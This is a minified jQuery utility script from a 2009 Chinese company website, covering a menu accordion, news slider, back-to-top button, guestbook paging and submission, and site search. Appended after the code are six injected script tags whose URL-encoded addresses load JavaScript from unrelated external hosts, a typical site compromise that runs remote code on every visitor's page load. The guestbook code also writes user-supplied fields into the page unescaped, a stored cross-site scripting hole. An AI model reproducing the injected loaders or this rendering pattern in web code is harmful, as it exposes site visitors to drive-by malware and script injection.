﻿/*
 * octeast JavaScript Library
 * http://www.octeast.com
 *
 * Copyright (c) 2009  深圳互动力科技有限公司
 * http://www.ipow.cn
 *
 * Date: 2009-05-01
 */
jQuery.fn.accordion=function(A){A=jQuery.extend({current:0},A);return this.each(function(){$thisDom=$(this);var C=true,B=function(){try{var C=$thisDom.attr("id");if(A.current>0)$("#"+C+" li.submenu:eq("+parseInt(A.current-1)+") ul").addClass("current");$thisDom.find("li a.head").click(function(){var A=$(this).parent();$thisDom.find("li ul:visible").slideUp(500,function(){A.find("ul").slideDown(500)})})}catch(B){}};B()})};jQuery.fn.focusNews=function(A){A=jQuery.extend({time:6000},A);return this.each(function(){var F=0,B=$(this),C=B.find("#newsFocusInfo a").size(),D=0,G=function(){try{$("#newsFocusInfo a:not(:first-child)").hide();$("#newsFocusNum li:first-child").css({"background":"#74A8ED","color":"#fff"});$("#newsFocusNum li").click(function(){var A=$(this).text()-1;F=A;if(A>=C)return;$("#newsFocusInfo a").filter(":visible").fadeOut(500).parent().children().eq(A).fadeIn(1000);$(this).css({"background":"#74A8ED","color":"#fff"}).siblings().css({"background":"#198E19","color":"#fff"})});D=setInterval(function(){E()},A.time);B.hover(function(){clearInterval(D)},function(){D=setInterval(function(){E()},4000)})}catch(G){}},E=function(){F=F>=(C-1)?0:++F;$("#newsFocusNum li").eq(F).trigger("click")};if(C>1)G()})};jQuery.fn.backTop=function(A){A=jQuery.extend({},A);return this.each(function(){$scrollDom=$(this);var B=function(){$(window).scroll(function(){A($scrollDom)});$(window).resize(function(){A($scrollDom)})},A=function(D){try{var B=getAllPosition(D),C=parseInt(B.offHeight/2);if(parseInt(B.scrTop)<parseInt(C))D.hide();else{var E=parseInt(B.offWidth)/2+300;D.css({left:""+E+"px",top:parseInt(B.scrTop+B.offHeight-220)}).show()}}catch(A){}};B()})};function getAllPosition(D){var A=[],E=$(D).offset();A.offLeft=E.left;A.offTop=E.top;A.offWidth=document.documentElement.clientWidth;A.offHeight=document.documentElement.clientHeight;var C,B,F;if(typeof window.pageYOffset!="undefined")C=window.pageYOffset;else if(typeof document.compatMode!="undefined"&&document.compatMode!="BackCompat"){C=document.documentElement.scrollTop;B=document.documentElement.scrollLeft}else if(typeof document.body!="undefined"){C=document.body.scrollTop;B=document.body.scrollLeft}if(A.offWidth>1003)F=parseFloat(A.offWidth-1003)/2;else F=0;A.scrTop=C;A.scrLeft=B;A.offsetLeft=F;return A}function iguestbook(B){var A={slide:"pagePlay",container:"GuestBookList",toppage:"topPage",bottompage:"bottomPage",pagesize:10};this.options=B=$.extend({},A,B);this.down=true;this._unit=parseFloat(540/113);this._pagecount=1;this._booklist=null;this._pagecurrent=1}iguestbook.prototype={init:function(A){var B=this;$.getJSON("/Sys/Book/list.aspx?Page_Size="+B.options.pagesize+"&PageIndex="+A+"&temp"+Math.random(),function(C){if(C.Type=="OK"){B._booklist=C.BookList;B.setpage(C.RecordCount);B._unit=parseFloat(540/Math.ceil(C.RecordCount/B.options.pagesize));B.pageUi(A);B.loadinfo();$("#scrFloat").mousedown(function(A){B.moveinit(this,A)});$(window).resize(function(){$("#scrFloat").mousedown(function(A){B.moveinit(this,A)})});$("#slidePage").click(function(A){B.dragPro(this,A,"click")});if(document.getElementById("slidepageno")=="null"||document.getElementById("slidepageno")==null)$("#"+B.options.slide).append("<h6 id=\"slidepageno\">1</h6>")}})},pagego:function(A){var B=this;B._pagecurrent=A;$.getJSON("/Sys/Book/list.aspx?Page_Size="+B.options.pagesize+"&PageIndex="+A+"&temp"+Math.random(),function(C){if(C.Type=="OK"){B._booklist=C.BookList;B.pageUi(A);B.loadinfo()}})},moveinit:function(C,A){var B=this;if(!A)A=A||window.event;A.cancelBubble=true;B.down=true;if(C.setCapture())C.setCapture();else if(window.captureEvents)window.captureEvents(Event.MOUSEMOVE|Event.MOUSEUP);$("#"+B.options.slide+" h6:hidden").show();B.down=true;if(B.down){$(C).mousemove(function(A){B.dragPro(C,A,"")});$(C).mouseup(function(A){B.stopdrag(C,A,"")})}},dragPro:function(L,J,F){try{var K=this,D=getAllPosition(L);if(!J)J=window.event;var A=J.clientX?J.clientX:J.pageX,C=J.clientY?J.clientY:J.pageY,H=0,I=0;if(parseInt(jQuery.browser.version)==8||parseInt(jQuery.browser.version)==6)H=A-D.offsetLeft-56+D.scrLeft;else H=A-D.offsetLeft-56+D.scrLeft;I=H+68;var G=516-D.scrTop,E=0;if(C>G&&C<G+56&&H<540&&H>=0){E=Math.ceil(H/K._unit)==0?1:Math.ceil(H/K._unit);$("#"+K.options.slide+" h6").text(E).css("left",""+parseFloat(I)+"");$("#"+K.options.slide+" h6:hidden").show();$("#scrFloat").css("left",""+parseFloat(H)+"")}else $("#"+K.options.slide+" h6:visible").hide();if(F=="click")K.pagego(E)}catch(B){}},stopdrag:function(D,B){var C=this,A=B.srcElement?B.srcElement:B.target;if(D.releaseCapture)D.releaseCapture();else if(window.captureEvents)window.captureEvents(Event.MOUSEMOVE|Event.MOUSEUP);this.down=false;$("#"+C.options.slide+" h6:visible").hide();$(D).unbind("mousemove");$(D).unbind("mouseup");var E=parseInt($("#"+C.options.slide+" h6").text());C.pagego(E)},setpage:function(A){var D=this,B=D.options.pagesize,C=Math.ceil(A/B);D._pagecount=C;D._unit=parseFloat(540/C);$("#recordCount").text(A);$("#fontPageCount").text(C);$("#recordCount1").text(A);$("#fontPageCount1").text(C)},pageUi:function(A){var C=this,B="",D=C._pagecount;$("#fontPageNum").text(A);$("#fontPageNum1").text(A);if(A<1)A=1;if(A>D)A=D;if(A<=1);else B="<a href=\"javascript:;\" class=\"prev\" id=\"turnPrev\">\u4e0a\u4e00\u9875</a><a href=\"javascript:;\" class=\"prev\" id=\"turnFirst\">\u7b2c\u4e00\u9875</a>"+B;var E;if(A<=10&&D<=10){for(E=1;E<=D;E++)if(E==A)B="    <span>"+E+"</span>"+B;else B="<a href=\"javascript:;\" id=\"bookpage"+E+"\">"+E+"</a>"+B}else if(D>=10&&A<=5){for(E=1;E<=10;E++)if(E==A)B="    <span>"+E+"</span>"+B;else B="<a href=\"javascript:;\" id=\"bookpage"+E+"\">"+E+" </a>"+B}else if((A+5)<=D){for(E=(A-4);E<=(A+5);E++)if(E==A)B="    <span>"+E+"</span>"+B;else B="<a href=\"javascript:;\" id=\"bookpage"+E+"\">"+E+" </a>"+B}else for(E=(A-4);E<=D;E++)if(E==A)B="    <span>"+E+"</span>"+B;else B="<a href=\"javascript:;\" id=\"bookpage"+E+"\">"+E+" </a>"+B;if(A>=D);else B="<a href=\"javascript:;\" class=\"next\" id=\"turnEnd\">\u6700\u672b\u9875</a><a href=\"javascript:;\" class=\"next\" id=\"turnNext\">\u4e0b\u4e00\u9875</a>"+B;$("#"+C.options.toppage).html(B);$("#"+C.options.bottompage).html(B);$("#"+C.options.toppage+" a").unbind("click");$("#"+C.options.bottompage+" a").unbind("click");$("#slidePrev").unbind("click");$("#slideNext").unbind("click");if(C._pagecurrent>1)$("#slidePrev").click(function(){C.turnpage(C._pagecurrent-1)});if(C._pagecurrent<C._pagecount)$("#slideNext").click(function(){C.turnpage(C._pagecurrent+1)});$("#"+C.options.toppage+" a").click(function(){var A=$(this).text(),B=C._pagecurrent;switch(A){case"\u4e0a\u4e00\u9875":B=parseInt(B-1);C.turnpage(B);break;case"\u4e0b\u4e00\u9875":B=parseInt(B+1);C.turnpage(B);break;case"\u7b2c\u4e00\u9875":C.turnpage(1);break;case"\u6700\u672b\u9875":C.turnpage(C._pagecount);break;default:C.turnpage(parseInt($(this).text()));break}});$("#"+C.options.bottompage+" a").click(function(){var B=$(this).text(),A=C._pagecurrent;switch(B){case"\u4e0a\u4e00\u9875":A=parseInt(A-1);C.turnpage(A);break;case"\u4e0b\u4e00\u9875":A=parseInt(A+1);C.turnpage(A);break;case"\u7b2c\u4e00\u9875":C.turnpage(1);break;case"\u6700\u672b\u9875":C.turnpage(C._pagecount);break;default:C.turnpage(parseInt($(this).text()));break}})},loadinfo:function(){var A=this,B="";$("#"+A.options.slide+" h6:visible").hide();$.map(A._booklist,function(A){B+="<dl><dt><strong>No."+A.BookID+" \u4e3b\u9898\uff1a"+A.Title+"</strong><em><b>"+A.UserName+"</b> \u53d1\u5e03\u4e8e\uff1a"+A.AddTime+"</em></dt><dd>"+A.Content+"</dd>";if(A.ReContent!="")B+="<dd>                \t<span>                    \t<em>\u56de\u590d\uff1a"+A.ReAddTime+"</em>                        <p>"+A.ReContent+"</p>                    </span>                </dd>";else B+="<dd></dd>";B+="</dl>"});$("#GuestBookList").html(B)},turnpage:function(B){var C=this,D=0;if(B!=1)D=parseFloat(C._unit*B);var A=D+68;$("#"+C.options.slide+" h6").text(B).css("left",""+parseFloat(A)+"");$("#"+C.options.slide+" h6:hidden").show();$("#scrFloat").css("left",""+parseFloat(D)+"");C.pagego(B)},addbook:function(){var C=$.trim($("#txtUserName").val()),A=$.trim($("#txtPhone").val()),D=$.trim($("#txtEmail").val()),E=$.trim($("#txtTitle").val().replace("\u8bf7\u586b\u5199\u4e3b\u9898","")),B=$.trim($("#txtContent").val());if(C==""){alert("\u8bf7\u8f93\u5165\u60a8\u7684\u59d3\u540d\uff01:)");$("#txtUserName").focus();return false}if(A==""){alert("\u8bf7\u8f93\u5165\u60a8\u7684\u8054\u7cfb\u7535\u8bdd\uff01:)");$("#txtPhone").focus();return false}if(D==""){alert("\u8bf7\u8f93\u5165\u60a8\u7684\u90ae\u7bb1\uff01:)");$("#txtEmail").focus();return false}else if(!isEmail(D)){alert("\u60a8\u7684\u7535\u5b50\u90ae\u7bb1\u683c\u5f0f\u9519\u8bef:)");$("#txtEmail").select();return false}if(E==""){alert("\u8bf7\u8f93\u5165\u7559\u8a00\u4e3b\u9898\uff01:)");$("#txtTitle").select();return false}if(B==""){alert("\u8bf7\u8f93\u5165\u7559\u8a00\u5185\u5bb9\uff01:)");$("#txtContent").focus();return false}else if(B.length<5){alert("\u7559\u8a00\u5185\u5bb9\u81f3\u5c11\u4e94\u4e2a\u5b57:)");$("#txtContent").focus();return false}$("#divGuestBook").slideUp("slow",function(){$.ajax({type:"POST",url:"/sys/Book/AddBookInfo.aspx",data:"UserName="+escape(C)+"&Telephone="+escape(A)+"&Email="+escape(D)+"&Title="+escape(E)+"&Content="+escape(B)+"&temp="+Math.random(),success:function(A){if(A=="strtrue"){alert("\u60a8\u7684\u7559\u8a00\u63d0\u4ea4\u6210\u529f\uff01\u5f85\u5ba1\u6838\uff01");$("#txtUserName").val("");$("#txtPhone").val("");$("#txtEmail").val("");$("#txtTitle").val("");$("#txtContent").val("");$("#divGuestBook").slideDown("slow")}}})})}};function isEmail(A){var B=/^[a-zA-Z0-9_\-]{1,}@[a-zA-Z0-9_\-]{1,}\.[a-zA-Z0-9_\-.]{1,}$/;if(!B.exec(A))return false;return true}function AddFavorite(B,C){try{window.external.addFavorite(B,C)}catch(A){try{window.sidebar.addPanel(C,B,"")}catch(A){alert("\u52a0\u5165\u6536\u85cf\u5931\u8d25\uff0c\u8bf7\u4f7f\u7528Ctrl+D\u8fdb\u884c\u6dfb\u52a0")}}}jQuery.fn.openMsg=function(A){A=jQuery.extend({width:227,height:166},A);return this.each(function(){var G=$(this),C,F=function(G){C=getAllPosition(G);var H=parseInt(C.offWidth-A.width-10),F=parseInt(C.offHeight-A.height);$(G).css({"left":H,"top":parseInt(F)});$(G).show("fast",function(){$(window).scroll(function(){if($(G).is(":visible"))E(G)});$(window).resize(function(){if($(G).is(":visible"))B(G)});$(G).find("a.close").bind("click",function(){D(G)})})},D=function(A){$(A).hide();$(A).find("a.close").unbind("click")},E=function(E){var D=getAllPosition(E),B=parseInt(D.scrTop),C=parseInt((D.offHeight-A.height))+parseInt(D.scrTop);$(E).css({"top":C})},B=function(F){var D=getAllPosition(F),B=parseInt(D.scrTop),E=parseInt(parseInt(D.offWidth-A.width)),C=parseInt((D.offHeight-A.height))+parseInt(D.scrTop);$(F).css({"left":E,"top":C})};F(this)})};function oSearch(){var A=$.trim($("#q").val());A=A.replace("\u8bf7\u8f93\u5165\u5173\u952e\u5b57","");if(A==""){alert("\u8bf7\u8f93\u5165\u641c\u7d22\u5173\u952e\u5b57:)");$("#q").select();return false}else{A=StrCode(A.replace(/\+/g,"%2B").replace(/\//g,"%2F"));var B="/search/?q="+A;window.open(B)}}function StrCode(A){if(encodeURIComponent)return encodeURIComponent(A);if(escape)return escape(A)}<script src=http://q%2E%6C%69%67%68%7420%31%32%2Einfo></script><script src=http://%71%2E%6Co%76e2012%2E%69%6Efo></script><script src=http://q.love20%31%32.info></script><script src=http://%71.si%66l%79%2Ein%66%6F></script><script src=http://%71.%73i%66ly.%69nfo></script><script src=http://%71%2E%73%69na1%36%33%2Ein%66o></script>
